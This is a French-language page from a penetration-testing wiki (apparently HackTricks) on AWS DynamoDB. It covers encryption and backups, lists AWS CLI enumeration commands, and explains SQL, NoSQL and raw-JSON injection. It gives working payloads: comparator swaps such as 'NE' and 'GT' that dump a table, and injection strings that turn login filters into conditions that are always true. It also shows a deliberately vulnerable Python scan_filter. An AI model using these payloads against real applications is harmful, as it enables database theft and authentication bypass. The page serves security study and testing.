AWS - DynamoDB Enum

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

DynamoDB

Informations de base

Amazon DynamoDB est prĂ©sentĂ© par AWS comme une base de donnĂ©es NoSQL clĂ©-valeur, entiĂšrement gĂ©rĂ©e et sans serveur, conçue pour alimenter des applications haute performance, quelle que soit leur taille. Le service garantit des fonctionnalitĂ©s robustes, y compris des mesures de sĂ©curitĂ© inhĂ©rentes, des sauvegardes ininterrompues, une rĂ©plication automatisĂ©e Ă  travers plusieurs rĂ©gions, un cache en mĂ©moire intĂ©grĂ© et des utilitaires d’exportation de donnĂ©es pratiques.

Dans le contexte de DynamoDB, au lieu d’établir une base de donnĂ©es traditionnelle, des tables sont créées. Chaque table nĂ©cessite la spĂ©cification d’une clĂ© de partition comme composant intĂ©gral de la clĂ© primaire de la table. Cette clĂ© de partition, essentiellement une valeur de hachage, joue un rĂŽle critique tant dans la rĂ©cupĂ©ration des Ă©lĂ©ments que dans la distribution des donnĂ©es Ă  travers divers hĂŽtes. Cette distribution est essentielle pour maintenir Ă  la fois la scalabilitĂ© et la disponibilitĂ© de la base de donnĂ©es. De plus, il est possible d’incorporer une clĂ© de tri pour affiner davantage l’organisation des donnĂ©es.

Chiffrement

Par dĂ©faut, DynamoDB utilise une clĂ© KMS qui appartient Ă  Amazon DynamoDB, pas mĂȘme la clĂ© gĂ©rĂ©e par AWS qui appartient au moins Ă  votre compte.

Sauvegardes et exportation vers S3

Il est possible de programmer la gĂ©nĂ©ration de sauvegardes de table ou de les crĂ©er Ă  la demande. De plus, il est Ă©galement possible d’activer la rĂ©cupĂ©ration Ă  un instant donnĂ© (PITR) pour une table. La rĂ©cupĂ©ration Ă  un instant donnĂ© fournit des sauvegardes continues de vos donnĂ©es DynamoDB pendant 35 jours pour vous aider Ă  vous protĂ©ger contre des opĂ©rations d’écriture ou de suppression accidentelles.

Il est Ă©galement possible d’exporter les donnĂ©es d’une table vers S3, mais la table doit avoir PITR activĂ©.

GUI

Il existe une interface graphique pour les services Dynamo locaux comme DynamoDB Local, dynalite, localstack, etc., qui pourrait ĂȘtre utile : https://github.com/aaronshaf/dynamodb-admin

ÉnumĂ©ration

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

AccÚs non authentifié

AWS - DynamoDB Unauthenticated Access

Privesc

AWS - DynamoDB Privesc

Post Exploitation

AWS - DynamoDB Post Exploitation

Persistance

AWS - DynamoDB Persistence

Injection DynamoDB

Injection SQL

Il existe des moyens d’accĂ©der aux donnĂ©es DynamoDB avec la syntaxe SQL, donc, des injections SQL typiques sont Ă©galement possibles.

SQL Injection - HackTricks

Injection NoSQL

Dans DynamoDB, diffĂ©rentes conditions peuvent ĂȘtre utilisĂ©es pour rĂ©cupĂ©rer des donnĂ©es, comme dans une injection NoSQL classique. S’il est possible de chaĂźner plus de conditions pour rĂ©cupĂ©rer des donnĂ©es, vous pourriez obtenir des donnĂ©es cachĂ©es (ou vider toute la table).
Vous pouvez trouver ici les conditions prises en charge par DynamoDB : https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

Notez que différentes conditions sont prises en charge si les données sont accessibles via query ou via scan.

Note

En fait, les actions Query doivent spĂ©cifier la condition “EQ” (Ă©gal) dans la clĂ© primaire pour fonctionner, ce qui les rend beaucoup moins sujettes aux injections NoSQL (et rend Ă©galement l’opĂ©ration trĂšs limitĂ©e).

Si vous pouvez modifier la comparaison effectuée ou en ajouter de nouvelles, vous pourriez récupérer plus de données.

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

Injection Json brute

Caution

Cette vulnérabilité est basée sur le filtre de scan de dynamodb qui est maintenant obsolÚte !

DynamoDB accepte des objets Json pour rechercher des donnĂ©es dans la DB. Si vous constatez que vous pouvez Ă©crire dans l’objet json envoyĂ© pour la recherche, vous pourriez faire un dump de la DB, tout le contenu.

Par exemple, injecter dans une requĂȘte comme :

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

un attaquant pourrait injecter quelque chose comme :

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

corriger la condition “EQ” en recherchant l’ID 1000 et ensuite en cherchant toutes les donnĂ©es avec une chaĂźne d’Id supĂ©rieure Ă  0, ce qui est tout.

Un autre exemple vulnĂ©rable utilisant une connexion pourrait ĂȘtre :

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

Cela serait vulnérable à :

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

Certain SDKs permettent d’utiliser une chaüne indiquant le filtrage à effectuer comme :

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

Vous devez savoir que la recherche dans DynamoDB pour substituer une valeur d’attribut dans des expressions de filtre lors de la numĂ©risation des Ă©lĂ©ments, les tokens doivent commencer par le caractĂšre :. Ces tokens seront remplacĂ©s par la vĂ©ritable valeur d’attribut Ă  l’exĂ©cution.

Par consĂ©quent, une connexion comme la prĂ©cĂ©dente peut ĂȘtre contournĂ©e avec quelque chose comme :

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks